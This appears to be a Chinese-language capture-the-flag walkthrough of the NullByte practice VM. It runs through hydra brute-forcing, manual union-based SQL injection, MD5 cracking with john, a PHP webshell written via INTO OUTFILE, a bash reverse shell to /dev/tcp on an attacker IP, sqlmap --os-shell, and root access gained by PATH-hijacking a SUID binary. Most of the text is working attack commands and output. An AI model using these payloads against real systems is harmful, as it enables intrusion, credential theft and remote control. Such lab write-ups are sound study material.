…
探测一下。


并没有什么信息。
搜了一下,说kzMb5nVYJw是个目录那看一下吧。
http://192.168.30.136/kzMb5nVYJw/index.php
果然
尝试一下,发现是post方法提交key参数。
暴力破解
hydra 192.168.30.136 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l woleyi -P /usr/share/wordlists/rockyou.txt
破解出:
[80][http-post-form] host: 192.168.30.136 login: woleyi password: elite # n. 权力集团,上层人士;尖子,精英 adj. 出类拔萃的,精锐的
SQL 注入
手工联合注入
进来后是个简单的搜索栏。空值显示所有列表。

尝试sql注入。
'
" # 提升语法错误,尝试报错注入
' and 1=1
' and 1=2
" order by 3 --+
" union select 'a','b','c'--+
" union select 1,2,table_name from information_schema.tables where table_schema=database()--+
# 查出一个users表
" union select 1,2,column_name from information_schema.columns where table_name='users'--+
# 字段为 id user pass position
" union select user,pass,position from users--+
查出一组账号密码 ramses:YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE
可以看到密码应该是base64加密了。解码出c6d6bd7ebf806f43c76acc3681703b81,看起来像MD5加密。
hashid c6d6bd7ebf806f43c76acc3681703b81
# 或
hash-identifier
使用hashcat或john解码
echo c6d6bd7ebf806f43c76acc3681703b81>hash.txt
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
omega (?)
SQL注入一句话木马
我们已经知道了上传文件目录。是否有写入权限未知不过可以尝试。
" union select "<?php system($_GET['a']); ?>", 2, 3 into outfile "/var/www/html/uploads/shell.php"--+
调用。
http://192.168.30.136/uploads/shell.php?a=cat+/etc/passwd
或者蚁剑登录也可以。
SQL注入反弹shell
" union "<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.30.131/4444 0>&1'"); ?>", 2, 3 into outfile "/var/www/html/uploads/resever.php"--+
开启kali端口监听。
rlwrap nc -lvnp 4444
这里被我的火绒拦截了。
Sqlmap
sqlmap -u "http://192.168.30.136/kzMb5nVYJw/420search.php?usrtosearch=a" --dump
或者使用–os-shell脚本。
sqlmap -u "http://192.168.30.136/kzMb5nVYJw/420search.php?usrtosearch=a" --os-shell



这就是使用–os-shell传入的两个脚本文件,一个用于上传文件,一个用于执行文件。
ssh登录
记得端口扫描时,777端口的才是ssh服务。因此要指定端口。
ssh ramses@192.168.30.136 -p 777
ramses@NullByte:~$ whoami;id;uname -a;ip a
ramses
uid=1002(ramses) gid=1002(ramses) groups=1002(ramses)
Linux NullByte 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt11-1+deb8u2 (2015-07-17) i686 GNU/Linux
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:b6:6a:c3 brd ff:ff:ff:ff:ff:ff
inet 192.168.30.136/24 brd 192.168.30.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:feb6:6ac3/64 scope link
valid_lft forever preferred_lft forever
信息收集
/var/www/html/kzMb5nVYJw下面的420search.php。
$dbhost = 'localhost:3036';
$dbuser = 'root';
$dbpass = 'sunnyvale';
$conn = mysql_connect($dbhost, $dbuser, $dbpass);
这个就是phpmyadmin的登录账号。
sudo -l
find / -perm -u=s -type f 2>/dev/null
ramses@NullByte:/var/www/html/kzMb5nVYJw$ sudo -l
[sudo] password for ramses:
Sorry, user ramses may not run sudo on NullByte.
ramses@NullByte:/var/www/html/kzMb5nVYJw$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/procmail
/usr/bin/at
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/sudo
/usr/sbin/exim4
/var/www/backup/procwatch
/bin/su
/bin/mount
/bin/umount
/sbin/mount.nfs
可以看到/var/www/backup/procwatch,应该是个进程监控工具。
清理痕迹发现。也出现了./procwatch。
ramses@NullByte:/var/www/html/kzMb5nVYJw$ cat ~/.bash_history
sudo -s
su eric
exit
ls
clear
cd /var/www
cd backup/
ls
./procwatch
clear
sudo -s
cd /
ls
exit
whoami;id;uname -a;ifconfig
whoami;id;uname -a;ip a
pwd
ls -liah
exit
运行一下。
ramses@NullByte:/var/www/backup$ ./procwatch
PID TTY TIME CMD
20011 pts/0 00:00:00 procwatch
20012 pts/0 00:00:00 sh
20013 pts/0 00:00:00 ps
看来这个进程调用了sh和ps命令。这个可以提权。
首先建立一个软连接,将ps链接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:
ln -s /bin/sh ps
将当前目录添加到环境变量。
export PATH=.:$PATH
echo &PATH
在环境变量的路径越靠前,执行命令时寻找的目录的优先级就越高。也就是说,在我们将当前目录追加到环境变量的最开始位置之后,如果系统运行ps命令(即运行procwatch),会首先在当前目录寻找是否有名为ps的文件,又由于我们在这里添加了软连接,当前目录是存在名为ps的文件的,该文件是个指向sh的软连接,因此可以在当前目录执行ps命令,实际执行的是启动sh。
./procwatch

提权成功。












































